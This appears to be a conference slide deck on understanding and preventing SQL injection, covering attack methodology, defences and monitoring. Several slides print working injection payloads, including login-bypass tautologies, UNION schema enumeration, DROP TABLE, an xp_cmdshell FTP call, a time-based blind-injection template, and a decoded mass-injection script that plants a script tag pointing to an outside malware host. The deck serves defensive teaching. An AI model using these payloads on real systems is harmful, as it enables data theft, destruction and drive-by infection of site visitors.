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Understanding and preventing sql injection attacks


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SQL Injection attacks are one of the most common hacker tricks used on the web. Learn what a SQL injection attack is and why you should be concerned about them.

This all new session is loaded with demos. You’ll get to witness first-hand several different types of SQL injection attacks, how to find them, and how to block them.

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Understanding and preventing sql injection attacks

  1. 1. SQLintersection Understanding & Preventing SQL Injection Attacks Kevin Kline SQL123
  2. 2. Overview  What is SQL Injection?  An Attacker’s Approach  SQL Injection Techniques  Preventing SQL Injection  Security Best Practices & Tips  Useful Links and Resources
  3. 3. Freebies!  Free new ebooks (regularly $10) to all requests to
  4. 4. Context and Background
  5. 5. Like This… Courtesy of
  6. 6. © SQLintersection. All rights reserved. What is it and why should I care? Understanding SQL Injection 6
  7. 7. What is SQL Injection?  SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement  DEMO
  8. 8. Who is Vulnerable?  All SQL database platforms are susceptible  Bypasses firewall and network-based protections  Applications that dynamically build and send SQL strings are most vulnerable:  Exploits the inexperienced developer  Amplified by silos in IT teams  SQL statement itself is hacked  Formatting vulnerabilities
  9. 9. © SQLintersection. All rights reserved. Typical Webcode… string cmdStr = @"SELECT order_id, order_date, qty FROM Production.Orders WHERE customer_name LIKE '%" + SearchText.Text + "%'"; using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtOrders = new DataTable(); sda.Fill(dtOrders); return dtOrders.DefaultView; }
  10. 10. 10 Injected Values Can Range from Bad… The “Good” search text: 'Hanso Foundation' The “Curious” search text: 'Widmore Industries' or 1=1 -- ‘ The “Exploratory” search text: …ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --
  11. 11. 11 …To Worse The Ugly search text: …ZZZ'; DROP TABLE customer_credit_card -- The REALLY UGLY search text: …ZZZ'; xp_cmdshell(‘FTP …’)
  12. 12. Attack Methodology Reconnaissance (Recon) Scan for Vulnerabilities / Access (Scan) Gain Access (Crack) Escalate Privileges (Enhance) Maintain/Expand Access (Expand) Cover Tracks (Hide)
  13. 13. Attackers…  …understand the concept of ‘surface area’  …use error messages to learn about the structure of the underlying SQL statements and database  …exploit SQL formatting characters (single quotes, comment notation (-- ), semi-colons, etc)
  14. 14. Then Attackers…  …manipulate the SQL statements to learn about the structure of the database and data  …execute SQL statements at will  …use built-in trap doors inside of the DBMS to go to the next level  Upload their own files, even replacing your own  Examine the rest of your infrastructure  Download data  Launch malware and bots
  15. 15. SQL Injection Techniques  Probe databases, especially packaged apps  Bypass authorization  Cross-database and cross-server calls  Execute multiple SQL statements  Call built-in stored procedures  Exit to the OS for command-line access  Insert code to be used by the web app  Swap DLL and other files for their own
  16. 16. Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Unclosed quotation mark before the character string ′having 1 = 1--′. /Project1/MyDemoApp.exe, line 14 Probing Databases  Web apps usually return connectivity error information – unless you trap the errors!  Hackers can use this information and continually modify parameters to discover:  Table names, column names, data types, row values
  17. 17. 17 Bypassing Authorization Good Guy, passes these values - UserID: administrator Password: GoodOne SELECT * FROM users WHERE username = ‘administrator’ AND password = ‘GoodOne’; Bad Guy, passes this value - UserID: ‘ OR 1=1 Password -- SELECT * FROM users WHERE username = ‘’ OR 1=1 – and password =
  18. 18. 18 INSERT Statement Injections Good Guy INSERT INTO Authors (auName, EmailAddress) VALUES (‘Julian Isla’, ‘ Bad Guy INSER INTO Authors (auName, EmailAddress) VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’,’); EXEC xp_regread HKEY… ; Very Bad Guy, uses scripting and text/xml fields
  19. 19. Blind SQL Injection  Good apps trap default errors and show their own. Hackers flank this with:  Normal Blind: Get response data from error codes, severity levels, and HTTP status codes  Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.
  20. 20. © SQLintersection. All rights reserved. Blind Injection Example, #1 DECLARE @x as int; DECLARE @w as char(6); SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QU ERY} as varbinary(8000))),{POSITION},1)); IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*{SECONDS} as char); WAITFOR DELAY @w 2
  21. 21. © SQLintersection. All rights reserved. Cast Injection Example, #1 URL query string: DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(400 0));EXEC(@S);-- Decoded: DECLARE @S NVARCHAR(4000); SET @S= CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);-- SELECT CAST('this could be bad code' AS VARBINARY(256)) SELECT CAST(0x7468697320636F756C6420626520736F6D652062616420636F6465 AS VARCHAR(256))
  22. 22. © SQLintersection. All rights reserved. Cast Injection Example, #2 Final SQL code being executed (hex value decoded): DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT, FROM sysobjects a,syscolumns b WHERE AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
  23. 23. Attack Vector To Other Resources  Attackers have chosen not to go after data  Targets have been legitimate web sites  Plant links and redirects to malware sites  Use of a blended attack (browser vulnerability) to infect the client computer  Take control of client computers
  24. 24. © SQLintersection. All rights reserved. Hey, do you think we should lock the doors, mom? Preventing SQL Injection 24
  25. 25. © SQLintersection. All rights reserved. Simple Rules Applied Logically Server - Make sure data and log files are on NTFS with proper ACLs applied. - Disable any service that is unneeded and unused (e.g. SQL Browser service, unneeded network protocols); Consider Windows Core - Use Windows Authentication where feasible.. Database - Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent. - Restrict system stored proc’s and XP’s to SA-only - Remove guest from all but master and tempdb - Provision by role, not user - Demand security savvy third-party applications! Accounts - Noone gets SA, except SA. - Separate accounts for SQL Server and SQL Agent services. - Don’t use local service account for services. SQL Code - Input validation: Black list vs white list - Use stored procedure to hide application logic. No default error messages. No direct access to tables - Use parameterized input, not string concatenation - Multi layered input checking: application, stored procedure, database schema
  26. 26. Monitoring for SQL Injection  Monitor failed login attempts. Alert when they’re frequent.  Check for null and weak passwords frequently within your apps. SQLPing tool is great for this.  Check for non-SA permissions on all system SPs and XPs  Microsoft Assessment and Planning (MAP) is a great tool to research your total estate, available at  Xevent or Trace for non-SA execution of: • Execute at command prompt ( xp_cmdshell ) • Registry read and write operations (xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring, xp_regwrite) • Checking Services ( xp_servicecontrol ) • Visual media in the system ( xp_availablemedia ) • Directory Tree to get URL ( xp_dirtree ) • ODBC resourcer Listing ( xp_enumdsn ) • Log in to find a modem ( xp_loginconfig ) • Cabin Archive Creation ( xp_makecab ) • Finding Domain ( xp_ntsec_enumdomains ) • To terminate the process PID ( xp_terminate_process ) • Add new stored extended procedures ( sp_addextendedproc ) Stored Procedure Delete (sp_dropextendedproc) • UNC files including writing out (sp_makewebtask)
  27. 27. Summary  Do NOT Trust User Input.  Remember the principle of “Least Privilege”.  Defense in Depth: Middle tier  App  Database  SQL Code  Fail Intelligently: Filter default error messages and limit the information in custom error messages.  Minimize the “attack surface”: Remove unused stored procedures, views, and UDFs. Use views and stored procedures instead of base tables.  Use Parameterized Queries or Stored Procedures: Do NOT use string concatenations to build SQL queries.  Test Security!
  28. 28. Resources  – my favorite for broad security and tools on SQL Server  Microsoft SQL Injection white paper at us/library/ms161953.aspx  How-to: Prevent SQL Injection on ASP.Net  A Dutch research paper (in English) discussing platform independent ways to defend against SQL injections: 2007-003.pdf  SQL Injection Cheat Sheet: cheatsheet-oku/
  29. 29. Don’t forget to complete an online evaluation on EventBoard! Your evaluation helps organizers build better conferences and helps speakers improve their sessions. Questions? Thank you! Understanding & Preventing SQL Injection Attacks Kevin Kline, @KEKline,